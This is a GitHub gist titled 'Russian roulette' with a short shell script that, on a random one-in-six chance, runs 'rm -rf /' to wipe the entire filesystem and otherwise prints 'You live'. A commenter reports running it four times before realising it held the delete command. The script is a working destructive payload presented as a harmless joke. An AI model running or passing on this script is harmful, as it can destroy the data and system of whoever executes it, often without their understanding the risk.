Skip to content

Instantly share code, notes, and snippets.

@sobstel
Created March 8, 2012 12:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sobstel/2000841 to your computer and use it in GitHub Desktop.
Save sobstel/2000841 to your computer and use it in GitHub Desktop.
Russian roulette ;-)
#!/bin/sh
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”
@kostrse
Copy link

kostrse commented Sep 9, 2012

OMG, tried 4 times before figured out that it actually contains rm -rf /
(the first thought was it just prints "win/loose" to screen)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment